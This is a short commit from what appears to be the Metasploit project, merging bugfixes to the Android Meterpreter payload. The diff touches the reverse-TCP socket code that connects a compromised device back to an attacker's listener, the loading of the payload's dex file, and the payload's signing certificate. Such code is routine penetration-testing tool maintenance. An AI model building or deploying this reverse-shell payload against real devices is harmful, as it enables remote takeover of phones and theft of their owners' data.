Merge pull request #4 from schierlm/android-fixes

Android Meterpreter bugfixes
unstable
timwr 2013-05-01 09:15:38 -07:00 committed by timwr
commit ee67b6619e
2 changed files with 3 additions and 3 deletions

View File

@ -45,7 +45,7 @@ public class MainActivity extends Activity
private void reverseTCP() {
try {
String lhost = LHOST.substring(4);
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());

View File

@ -35,7 +35,7 @@ module Metasploit3
def generate_jar(opts={})
jar = Rex::Zip::Jar.new
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'))
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
@ -74,7 +74,7 @@ module Metasploit3
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*30 # 30 years
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
jar.sign(key, cert, [cert])